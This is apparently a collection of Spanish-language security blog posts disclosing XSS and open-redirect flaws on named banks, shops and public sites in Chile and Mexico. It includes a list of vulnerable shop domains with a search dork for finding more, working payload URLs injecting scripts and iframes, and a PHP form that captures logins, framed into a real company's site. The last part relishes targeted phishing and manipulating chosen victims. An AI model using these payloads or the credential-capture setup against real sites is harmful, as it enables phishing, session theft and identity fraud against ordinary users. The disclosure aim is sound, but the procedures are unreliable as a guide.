Según Google, son un poco más de mil sitios los que utilizan esta plataforma y que serían vulnerables a este tipo de ataques.

Al tratarse de un eCommerce, esta vulnerabilidad es aún más peligrosa ya que el atacante podría explotarla para obtener información de los usuarios como números de tarjetas de crédito, correos, usuarios y contraseñas, todo esto mediante phishing, usando el dominio del sitio en el que el usuario confía. Tambien se pueden elaborar ataques mas sofisticados para robar las sesiones a los usuarios que previamente hayan iniciado sesión.

La vulnearbilidad se encuentra en el archivo “error.php” y se produce al no filtrar los parametros de entrada mediante las variables “p” y “s“. El script simplemente imprime el valor de las variables, sin filtrarlas ni escapar caracteres, permitiendo XSS.

Una lista de algunos sitios afectados:

abysinvitationsprintshop.com
accesorioselauto.com
adobetecnoterra.com
adrenalinamotor.mx
akarienlinea.com
aldebaranuno.com
aleissi.mx
anabolicstorexpress.com
ankah2o.com
antibalastucomprasegura.com
aquatica-online.com
armarecuerdoseinvitaciones.com
armyatvstore.com
babybodega.mx
bazar12.com
beerandfashionmexico.com
bellezanutritiva.com.mx
bichitour.com
bienesraicespremium.com
bigjockey.com
billyoplazapiel.com
blancoscorona.com
bricks-store.com
cajasybolsas.com
caramolli.com
cavaboutique.com
ceciliamartinezgarza.com
centralnt.com
colofoninfantil.com
comercialdeestanteria.com.mx
comerciantes.mx
compraconplazo.com
compupagos.com.mx
compuventa-online.com
contitech-solutions.com
cosasdeingenieria.com
decocuadros.com.mx
dekocuadros.com
deyacut.com
digielectronik.com
distribuidorazaqueo.com
diveencounters.mx
doshik.com
e-tronic-shop.com
edicionesuromex.com
elgloborojotienda.com
ellamodas.com
elmundodelasfajas.com
enac-audio.com
enelbazarxalapa.com
entradaxsalida.com
enviamiregalo.com
eplaza.com.mx
fantasias-daniel.com
farmaciadelnino.com
fashion1services.com
fastlapstore.com
fermentando.com.mx
florerialorena.com
forjasdesign.com
fraganciamania.com.mx
fvi.mx
gadgetmex.com
galeriagalamania.com
globaris-shop.com
grupocomputacionaldeco.com
grupoelrey.com
gscomputadoras.com
hogarynegocio.com
hypnosefashionstore.com
imperiusarts.com
importacionesecm.com
indumaqsa.com
infoxweb.com
inhaus.mx
irrealcandybar.com
its-acapulco.com
javoil.com
joyeriasagara.com
julianna-jewelry.com
kingmonstermty.com
kiutstore.com
konexionmusical.com
lacombasoccer.com
ladecimaletragdl.com
lapsrepairs.com
lasmatadoras.com
libros.com.mx
liderpowertools.com
lizfloreria.com
lunerougeboutique.com
maimaitienda.com
mandycreaciones.com
manikin-online.com
maniquiesonline.com
maquinariaexpress.com
megapixelcomputadoras.com
mercaditoparati.com
mexi-cali.net
modayregalos.com
mothernity.com.mx
mtystore.com
muebleriamaya.com
mundoescolar11.com
mydogpharma.com
naturatoshop.com
naturenmexico.com
nochederio.com
onlineplayeras.com
ouletgnc.com
pa-xi.com
paraleer.com
pasatiempo-juguetes.com
petnc.com
pinnacleventa.com
plazamesonesvirtual.com
pro-limp.com
prodoorventas.com
psmodelismo.com
r3silencia.com
raqmar.com.mx
rcomunicaciones.com
recuerdosybolos.com
reducingbodysiluet.com
regala123.com
regala123.com.mx
regalosconvida.com
reguladoresypcs.com
safetystoremexico.com
seducelo.com
seducelo.com.mx
setfi.us.com
sexylencerias.com
shop4evermx.com
siaproductos.com
sistemascompac.com
sitesirve.com
smart-atic.com
solarislabs.com
solodebateria.com
spixalapa.com
sportjordan.com
store-htpro.com
sunlounge.com.mx
taipacificoimportaciones.com
techosmas.com
tecnologiailimitada.com
tenisclubcolombia.com
thecellulardepot.com
theredzone.com.mx
tienda128.mystorexpress.com
tienda573.mystorexpress.com
tiendabolsasbichat.com
tiendadicer.com
tiendaenriko.com
tiendaofficeadm.com
tiendapetmark.com
tiendatn.com
tinkert.com
todocompu.com
transfermania.com.mx
treneshodemexico.com
treneshodetexas.com
trovarti.com
tucalentadordepaso.com.mx
tumejorcompra.net
tumueblebarato.com
tumundodeportivo.com
vinilium.com
winemexsa.com

Para buscar la lista completa de los sitios afectados, puedes realizar la siguiente busqueda en Google:

inurl:mystore inurl:error.php filetype:php

Tambien se reportaron algunas vía secureless.

La empresa que está detras de este sistema ya ha sido notificada.

El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure sobre las vulnerabilidades para denunciar este tipo de hechos.

El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.
El XSS que encontré, está en el archvo rim/default.asp en el subdominio si2.bcentral.cl.

Como prueba de concepto, incrustaré un ‘iframe’ con el sitio web de Google dentro del sitio del Banco Central

Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio “seguro“.

Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.

La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección “Base de datos economicos”, que al parecer ya ha sido corregido.

Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.

El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación.

Al igual que lo comentado en el post de El Phishing y el Banco Santander Chile, la idea es dar a conocer como los bancos se lavan las manos con sus campañas anti phishing y anti fraudes, pero no son capaces de ofrecer una plataforma lo suficientemente robusta. Nuevamente este tipo de vulnerabilidades afectan a los usuarios y no al banco directamente, permitiendo el robo de credenciales e información personal, suplantación de identidad, etc.

La vulnerabilidad Cross-Site Scripting detectada se encuentra en la página principal del banco http://www.bbva.cl y corresponde al buscador. El tipoco error de no parsear los parametros de entrada que se pasan por el forumlario o por URL (GET/POST).

La vulnerabilidad no ha sido reportada al banco ya que no se ha encontrado ningun método de contacto, pero se ha publicado en Secureless junto al mismo tipo de vulnerabilidad correspondiente al BBVA de Colombia.

El script vulnerable corresponde a http://www.bbva.cl/tlch/jsp/ch/esp/meta/buscador/buscar.jsp que pasandole los parametros necesarios es posible ejecutar código javascript o html mediante la variable q.

Las politicas de seguridad del banco dicen textualmente:

Permitiendo este tipo de ataques (xss) el banco no está cumpliendo, ya que un atacante puede suplantar la identidad del sitio y abusar de la confianza que tiene el usuario/cliente en el sitio web del BBVA, pudiendo interceptar el tráfico, generar formularios falsos, redireccionar al usuario a sitios malignos, etc.

Nuevamente, este es un llamado para que los bancos se hagan cargo de este tipo de cosas!

Editado: (13 de Junio del 2011) La vulnerabilidad se encuentra corregida. El banco no respondio ningun email y tampoco dio ningun tipo de comunicado o mensaje al respecto.

En Chile, los bancos tienen una campaña contra el phishing donde se limitan a entregar manuales y decir “no ingreses tus datos donde no debes”, pero realmente no se preocupan de tener mecanismos de validación y protección, permitiendo que cualquier persona pueda suplantar su identidad y usar la confianza que tiene el usuario en el sitio.
Existe un sitio llamado “avispate.cl“, que supuestamente es para hacer un llamado a la gente y educar para que no caigan en este tipo de trampas y no entreguen información a cualquier sitio.

Bien, por un lado tenemos que los usuarios entregan información a personas que no corresponden, que caen en las trampas pero por otro lado, algo que es claramente responsabilidad del banco: Hacer que sus sitios y sistemas sean 100% seguros!

Los bancos en lugar de ayudar a los usuarios y prevenir este tipo de ataques, prefieren cobrar:

En secureless, comenzamos a trabajar en una investigación en busca de vulnerabilidades XSS, CSRF y otras que puedan afectar directamente al usuario. Nuestro propósito es dejar en claro que los bancos deben ser competentes y responder por las fallas de seguridad que tienen. Hasta ahora, según nosotros, como este tipo de vulnerabilidades no les afecta a ellos, sino que afecta a los clientes, entonces no se preocupan lo suficiente.
El proyecto consiste en publicar estas vulnerabilidades diariamente durante un par de dias, demostrar y dejar al descubierto este tipo de negligencia. Comenzaremos por Chile, luego seguiremos atacando bancos de otros paises.

Sobre XSS y CSRF …

Las vulnerabilidades XSS permiten realizar modificaciones en los sitios web por el lado del cliente, cuando una entidad bancaria con certificado ssl (https) tiene este tipo de vulnerabilidad, se combierte en un sitio potencial para ser atacado y sus usuarios los afectados. Por ejemplo, si un sitio permite inyectar código html o javascript, facilmente podriamos poner un iframe que ocupe todo el ancho y alto del navegador, y que el usuario no se de cuenta que está visitando a otra página.

Por otro lado tenemos los ataques CSRF, que combinado con XSS, practicamente es posible hacer lo que queramos con el usuario: llevarlo de un sitio a otro, pasar parametros de un sitio falso a uno verdadero, etc.

Para variar, el bug se encuentra en el buscador, donde nos da la autoridad para inyectar código html y código javascript para ser ejecutado en el navegador del cliente:

La vulnerabilidad fue alertada vía twitter, ya que no logré encontrar en ese entonces una dirección de correo.

Esta vulnerabilidad fue descubierta el 5 de Agosto y no descarto que alguien la haya encontrado antes.

La URL vulnerables es:

http://pcfactory.cl/?buscar=\%22%3Etoe%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

No está demas decir que los alcances de ésta vulnerabilidad no afectarian a la tienda en si, sólo a sus usuarios ya que podría ser usada para robo y suplantación de identidad (mediante las cookies de un usuario logeado) y ademas podría ser usado para ejecutar código arbitrario y redireccionar a los visitantes a algun sitio maligno.

La URL vulnerable es http://tvndeportes.cl/intersitial/index.html?link=, a “link” podemos asignarle cualquier URL y el navegador será redireccionado a esa URL. Por ejemplo:

http://tvndeportes.cl/intersitial/index.html?link=http://sitio.webmaligno.com/pics/pics.exe

Quizá este método solo nos permita redireccionar a un usuario y nada mas, pero con un poco de imaginación y trabajo, perfectamente ese usuario podría ser engañado por email para ingresar a un sitio confiable de TVN y redirigirlo a un sitio de streaming falso, donde le haga aceptar la descarga de un archivo (troyano) para que pueda ver el video. Aprovechandose de todo esto del mundial, la locura por ver los partidos en alta definicion, perfectamente un atacante podría insitar a un usuario a descargar un programa para poder ver el partido, desde el sitio de tvn, en alta definición y gratis, obviamente “ese” programa sería un virus o algo similar.

Estimado Fernando:

Me dirijo a usted como representante de la Empresa E-Sign, en mi calidad de Gerente de Operaciones,  para comentarle algunos de los alcances que ha tenido para nosotros el  reporte de vulnerabilidad XSS que usted ha publicado a fines de la semana pasada.  Con su información hemos verificado los errores reportados, y nuestros programadores se encuentran trabajando en la revisión y corrección de otros posibles problemas. Específicamente, aquellos relacionados con el “contacto.php” se corrigieron el 30 de Abril en la tarde.

Le agradecería que, en el caso de detectar una nueva vulnerabilidad o la posibilidad de ella en nuestro sitio, lo informe directamente a mi correo particular o telefónicamente a la empresa. Asimismo, le solicitamos que nos dé un  espacio de tiempo suficiente para corregir el problema, antes de publicarlo en internet.

Finalmente, a nombre de E-Sign, quisiéramos agradecerle su nota y enfatizar que tomaremos todas las medidas necesarias para evitar que este tipo de problemas vuelvan a ocurrir.

Creo que es una buena respuesta y es la forma en que deberían actuar las empresas cuando se les informa sobre algún fallo, bug o vulnerabilidad que los afecta.
Podemos ver que el enlace vulnerable: https://www.e-sign.cl/contacto.php?prefilla=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E ya no se ve afectado.

La idea de un sitio con certificado SSL es que toda la información viaje cifrada, pero la gente de E-Sign al parecer no piensan eso. Al menos dos formularios del sitio envían la información sin cifrar, entonces ¿Para qué usan el certificado SSL?

Quizá no es tan crítico, ya que se trata del formulario de contacto y el buscador, pero ya que ellos obligan al usuario a confiar de ellos aun cuando los formularios no se envian de forma segura, nosotros aprovecharemos de generar otro tipo de trafico de manera insegura, por ejemplo insertando un formulario falso o un sitio externo mediante XSS.

¿A qué me refiero con esto? Sencillo, cuando estás navegando en un sitio seguro y en él, existe información que viaja de manera no-segura (sin cifrar), el navegador nos alerta y nos pregunta si queremos continuar.

En cierta forma, E-Sign está obligando al usuario a confiar en ellos y para proceder, el usuario tendrá que poner aceptar. Si ellos lo hacen, ¿por qué nosotros no?

Nos aprovechamos de una vulnerabilidad XSS que presentan algunos links, por ejemplo link de “Contacto”:

https://www.e-sign.cl/contacto.php?prefilla=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

Mediante XSS podriamos perfectamente modificar el formulario, agregar y quitar campos y redireccionar la informción hacia otro sitio o bien colocar un iframe externo que nos permita insertar un formulario arbitrario para capturar información que necesitamos.

Con un poco de ingenieria social y un poco del arte del engaño, seguramente podemos explotar aun mas esta vulnerabilidad. Muchas veces la vulnerabilidad va más alla de si misma, depende mucho del sitio sobre el cual se intenta explotar, en este caso, es mucho mas grave que en el caso del post anterior.

Lo que encuentro más problematico, es que una empresa de seguridad, quienes ofrecen un servicio Anti Phishing, tengan este tipo de vulnerabilidades, le resta demasiada credibilidad a la empresa, lamentablemente las personas que contratan estos servicios generalmente no saben mucho del tema y creen que estaran en buenas manos y muchas veces estan cometiendo un error entregando su seguridad a las personas equivocadas.

Como de costumbre, intenté contactarme con los encargados mediante el formulario de contacto del sitio pero no he obtenido ningun tipo de respuesta.

ACTUALIZACIóN – 3/Mayo/2010: La empresa se ha contactado conmigo via email. Más información acá.

La URL vulnerable es

http://www.wei.cl/catalogue/product_search.htm?ph=&query=

Podemos inyectar código javascript en el valor de la variable “ph” y con esto insertar un frame o algun elemento externo al sitio y hacelo parecer como si fuera del sitio usando la confianza que tienen los clientes, como por ejemplo un iframe o bien un javascript que nos envie la cookie de la sesion a otro sitio.

Prueba de Concepto (PoC)

http://www.wei.cl/catalogue/product_search.htm?ph=%22%3E%3Cscript%3Ealert%28this%29%3C/script%3E&query=+++++Buscar+++++

http://www.wei.cl/catalogue/product_search.htm?ph=%22%3E%3Ciframe%20src=%22http://google.com%22%3E%3C/iframe%3E&query=+++++Buscar+++++

En el sitio se pueden encontrar links de contacto y emails para escribir tipo info@wei.cl, ni los links ni los emails funcionan. Intenté reportar el problema pero el correo que envié al destinatario que en la misma página aparece, me rebotó.

Es muy importante a leer.
Puede ser que Usted haya notado que la semana pasada nuestro sitio www.gruposantander.cl funcionaba inestable y se observaban frecuentes intermitencias.
Hemos renovado nuestras instalaciones bancarias y ahora el problema está resuelto.

Aunque hasta ahora el mensaje podría ser creible, no aparece el nombre del cliente, ésto le resta un punto de credibilidad inmediatamente. Luego viene la parte menos creible:

Pero para una capacidad de trabajo correcta de sus cuentas bancarias, le pedimos a Usted introducir los detalles completos de la cuenta para que pudamos renovar nuestra base de los clientes y comprobar nuestro sistema nuevo de protección de los datos.

Hay que tener en cuenta que una entidad bancaria jamás hará este tipo de peticiones vía email. Como pueden ver en el sitio web de santander:

La siguiente parte del mensaje dice:

Tome este enlace santander.cl para verificar sus datos bancarios.
Esta carta es automaticamente mandada a cada cliente del Banco Santander Central Hispano, no hay necesidad a responder.

Con respeto,
El servicio del mantenimiento técnico del Banco.

Esto es engañoso, ya que envían un texto azúly  subrayado, lo que a primera vista parece ser un link o enlace “normal” hacia “santander.cl”, pero si nos fijamos con más detalles, podemos ver que el link está apuntando a “http://vaisver.com/1000imagenes/“, lo que obviamente no corresponde a un sitio del Santander.

Si vamos al detalle tecnico del mensaje y revisamos los headers, podemos encontrar que el correo fue enviado desde la direcciòn IP 67.255.202.16 correspondiente al host host.eemporio.com, la direccion IP corresponde a Grecia. Al ingresar a http://host.eemporio.com podemos ver la página por defecto de CPanel, por lo que deducimos que se trata de un servidor de hosting que tiene el envio de emails habilitado, y alguna persona, de dentro o desde afuera, se está aprovechando de alguna falla o acceso para usar ese servidor como relay para éste tipo de actos.

Si buscamos en Google, podemos ver muchos resultados que hacen referencia a phishing en este banco: http://www.google.cl/search?q=phishing+banco+santander&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a

La semana pasada he descubierto una vulnerabilidad Cross-Site Scripting (XSS) en el sitio web de RedBanc.

Redbanc S.A.. es una empresa que presta servicios de interconexión bancaria, es decir permite a los clientes de todos los bancos asociados realizar distintas operaciones, depósitos, transferencias, giros, etc. a través de una red cajeros automáticos, que son computadores interconectados, permitiéndole al cliente realizar una serie de operaciones que antiguamente se debían realizar en una caja normal y con la restricción del horario.

Está de más decir que con esta vulnerabilidad encontrada es posible realizar phishing, robos de identidad (robos de cookies mediante xss) y muchas otras cosas más relacionadas con estáfas usando la confianza el sitio RedBanc.cl.

La vulnerabilidad se encuentra en la no-validación de los parametros de entrada en la URL http://www.redbanc.cl/portal_redbanc/browse?pagina=portal_redbanc/inicio.htm. Si modificamos la variable “pagina” y preparamos un javascript especialmente para el robo de cookies o bien algun sitio web externo que nos permita hacer phishing, basta con que coloquemos el código necesario y se lo asignemos a la variable.

Explicación

Cuando se cambia el valor de la variable pagina el sistema reportará que la página no existe. El mensaje de error tomará el valor que ingresamos en la variable y lo mostrará de la siguiente forma:
- En el caso de http://www.redbanc.cl/portal_redbanc/browse?pagina=veamos/si/existe/la/pagina.htm podemos ver el mensaje de error

Pagina no existe
Pagina veamos/si/existe/la/pagina.htm no disponible

Si nos damos cuenta, lo que dice justo debajo de “Pagina no existe” es justo lo que pusimos como valor de la variable pagina por lo que asumimos que cualqiuer cosa que pongamos en su lugar será mostrado y por ende si inyectamos un código html éste será mostrado e interpretado por nuestro navegador.

PoC

Inyectando un código javascript:
http://www.redbanc.cl/portal_redbanc/browse?pagina=<script>alert('XSS')</script>

Inyectando un iframe con destino a otro sitio, el cual podría contener un sitio web maligno:
http://www.redbanc.cl/portal_redbanc/browse?pagina=<iframe src=http://sitio.web</iframe></iframe>

(más información sobre este último punto en: Haciendo phishing explotando una vulnerabilidad XSS)

He intentado contactarme con los encargados del desarrollo del sitio pero no he obtenido respuesta. El formulario de contacto del mismo sitio web no funciona y he estado enviando correos a info@redbanc.cl (correo que aparece en el sitio web) y ni si quiera me han respondido que leyeron el correo.

Los riesgos

Los chilenos bien saben lo que es RedBanc y deberían imaginar los peligros que puede significar un fallo de este tipo en el sitio web oficial.
Explotando esta vulnerabilidad es posible robar la identidad de personas y obtener información privadas tales como nombres, rut, telefonos, números de cuenta bancaria y claves de acceso. Tratandose de un sitio web que tiene directa relacion con los bancos y tarjetas de débito es posible tambien obtener los dígitos del PIN PASS, usando un poco de ingenieria social y engañando a los usuarios con falsos e identicos sitios y formularios.

Aclaración

La vulnerabilidad fue avisada el Jueves de la semana pasada por primera vez, luego intente contactarme con ellos el día Lunes y tambien el Martes y, siendo Jueves, aún no he obtenido ninguna respuesta, ni si quiera acusando que el correo que les envié fue recibido.

ACTUALIZACIóN – 5/Mar/2010 12:30
Luego de numerosos correos enviados a la gente de redbanc reportando el error y sin obtener ninguna respuesta, decidí publicar este artículo y parece que ha dado resultado, porque la gente de Redbanc ya ha solucionado el problema, obviamente sin agradecer y sin emitir ningun tipo de comentario al respecto, simpemente solucionaron el problema como si nada ha pasado.
Buscando en Google me he dado cuenta que este sitio ha tenido esta misma vulnerabilidad en distintos scripts y y redbanc nunca dijo nada.

La empresa afectada es una inmobiliaria y constructora “Yagode”, la vulnerabilidad XSS se encuentra en el script “proyectos.php“, al no parsear la variable tipo. Tiene protección contra XSS, pero no es efectiva. Podemos comprobar ingresando a

http://www.yagode.cl/proyectos.php?Tipo=<script>alert(this)</script>

Obtenemos el mensaje de error 406 “Not Acceptable”,

Not Acceptable

An appropriate representation of the requested resource /proyectos.php could not be found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Sin embargo, permite incluir otro tipo de código como un iframe.

Vamos a armar un pequeño código en php con un formulario que nos capture la información, simulando un login, bien simple, que cumpla con el estándar del sitio web (fondo azúl y bien feo)

< ?php
if($_GET['login'] == "ok")
        die("user: ".$_POST['user']."pass: ".$_POST['pass']);
?>

Usuario:

Password:

Incluimos nuestro script en el iframe:

http://www.yagode.cl/proyectos.php?Tipo=<iframe frameborder=0 src=http://zerial.org/yagode.php width=500 height=200</iframe>

Ingresamos nuestra información, usuario y contraseña, y vemos como el script php que hicimos se encarga de guardar la información y mostrarla, llenamos el formulario con datos de prueba como usuario=miusuario y password=mipassword, al presionar el botón “ingresar“, veremos la siguiente pantalla:

Perfectamente podemos engañar a los empleados o clientes de ésta empresa, para que ingresen a éste sitio y nos entreguen información confidencial. Con un poco de ingeniería social y tiempo.

NOTA: La empresa encargada de éste sitio fue notificada de los fallos hace mucho tiempo (más de 2 meses)

Phishing es un término informático que denomina un tipo de delito encuadrado dentro del ámbito de las estafas cibernéticas, y que se comete mediante el uso de un tipo de ingeniería social caracterizado por intentar adquirir información confidencial de forma fraudulenta (como puede ser una contraseña o información detallada sobre tarjetas de crédito u otra información bancaria).

Como dice la definición, son técnicas que se aplican mediante ingeniería social y ésta es, por si misma, un arte.
Podemos detectar distintos tipos de phishing, desde uno muy simple como falsificar un sitio y lanzarlo al mundo para que la gente caiga o bien uno más complejo con objetivos determinados y con víctimas específicas. En el primer tipo, me gustaría hacer referencia a todos los conocidos ataques que se han hecho a bancos simplemente falsificando el sitio web y obteniendo información de gente al azar, por ejemplo el caso en que se vio envuelto Mastercard Argentina. Con el segundo tipo, quiero hacer referencia a casos más trascendentes que generalmente no son conocidos, ya que no afectan a mucha gente sino mas bien a una víctima específica. Para mi, el primer tipo es una mierda, sin embargo, me gustaría destacar los ataques del segúndo tipo. De ahora en adelante, los distinguiré según su tipo.

Primero, voy a entrar en detalles con el phishing de primer tipo. Cualquier persona con mínimos conocimientos en desarrollo puede copiar una página y conseguirse un dominio similar al original para hospedarla y lanzarla al mundo para ver quienes caen, generalmente con estos tipos de ataques no sabes quienes son las personas que caen en tu trampa, simplemente obtienes sus datos para fastidiarles, ingresas a sus cuentas y ver si tiene algo entretenido, no tiene ninguna ciencia. Este tipo de ataques no tienen ningún sentido, no se está aplicando ingeniería social ni mucho menos.
Existe una gran diferencia entre dirigir los ataques a una persona o víctima en particular versus el direccionarlo a quien caiga: la dificultad y la emoción.

El segúndo tipo es en el que quiero profundizar más. Cuando tenemos una víctima en la mira, es mucho más emocionando hacer éste tipo de ataques, ya que nos costará más y nuestro fín es único, no afectará a otras personas quienes no nos interesa. Para hacer ataques dirigidos, tenemos distintas técnicas, desde ataques locales hasta ataques remotos, podemos hacernos pasar por otra persona, engañando a nuestra víctima para que crea lo que nosotros queremos que crea y así obtener lo que queremos, hasta podemos manipularla. La víctima debe pensar que somos alguien de confianza, que se mueve dentro de su círculo de amigos o conocidos, sabemos mucho de ella y ella cree saber mucho de nosotros. Hacer que la víctima confíe en nosotros toma mucho tiempo, hace que haga lo que nosotros queremos más aún. Se puede lograr desde ataques sicológicos hasta con ataques netamente informáticos pero sin duda lo mejor es una combinación de ambos. Generalmente las víctimas de éste tipo de ataque son conocidos (nosotros lo conocemos, pero muchas veces él a nosotros no) a menos que sea por encargo.
La captura de datos o información se puede lograr falsificando websites, por teléfono, en persona, mediante algun tipo de mensajería instantanea, sniffeando la red, etc. Todo va a depender de nuestra imaginación, conocimiento y capacidades.

Cuando tenemos una víctima elegida, es muy entretenido el proceso en el cual hay que seducirla y mucho más aún, cuando la persona cae en nuestro juego y una véz obtenida la información es mucho más emocionante aún. Luego es el proceso de la verificación de información y posteriormente, una des-seducción de nuestra víctima, es decir, hacer que poco a poco se vaya alejando, pero sin perder el control de la situación y obviamente, sin pretender que nuestro objetivo se de cuenta de lo que planeamos hacer. Lo mejor es confundirlo.
No siempre se logra el objetivo, aveces porque nuestras técnicas han fallado y otras veces porque la persona que elegimos como víctima no es tan fácil de seducir. Hay que saber en qué momento abortar misión, porque los afectados podemos ser nosotros.

Existe un concepto errado de lo que es el phishing, al igual que muchas cosas, la popularidad de los términos terminan deformandose. Para mucha gente éste término es sinónimo de “robo de cuenta del banco y transferencias de dinero ilícitas“, que sería la definición peyorativa.
Detrás de muchos hackeos existen, implícita o explícitamente, técnicas de phishing aplicadas sobre las víctimas, y no podemos desperdiciar todo el proceso pensante y las capacidades del atacante para elaborar un ataque de ésta magnitud.

Básicamente, ¿Qué es el phishing?

Definamos phishing como una tecnica de “pesca” para robar información privada/personal de personas y/o empresas.

¿Cómo se lleva acabo esta técnica?

Puede resultar tan sencillo como intentar engañar a un niño, pues hacemos creer a una persona algo que no lo es con la finalidad de que esta persona nos entregue datos confidenciales y/o privados, por ejemplo, mediante un formulario de login a un sistema (universidad, banco, etc) falsificado.

A las empresas parece importarle poco el tema de seguridad en este aspecto, segun mi experiencia y estudios realizados por mi (ver en este blog), la vulnerabilidad XSS es una de las más comunes y es la que nos permite robar informacion de muchas formas usando la identidad de la empresa/sitio web vulnerable.

Tomemos como ejemplo una de las páginas que he publicado con este vulnerabilidad, que aun no lo solucionan. Corresponde al sitio web de la “Direccion de bibliotecas, archivos y museos” DIBAM, la URI vulnerable es:
http://www.dibam.cl/error.asp?cadena=a&pagina=[XSS]

Podemos insertar cualquier código javascript o html, como prueba de concepto vamos a insertar un iframe apuntando a google:

http://www.dibam.cl/error.asp?cadena=a&pagina=%3Ciframe%20src=http://google.cl%20frameborder=0%20width=660%3E%3C/iframe%3E

De este mismo modo, pudimos haber hecho referencia a un sitio con un login modificado, haciendonos pasar por “dibam” y pidiendo informacion privada a usuarios. De esta misma forma, podemos hacer referencia desde el siti o”dibam.cl” a algun fichero infectado con algun troyano, virus, etc.

Respecto al javascript, todo codigo javascript ejecutado si bien se ejecuta en por el lado del cliente, lo que no significa ningun riesgo para el servidor, hay que dejar en claro que todo el código javascritp será ejecutado en el contexto del sitio web, por lo que será posible el acceso a cookies, etc lo que nos permitirá robar las cookies para logearnos en algún sistema.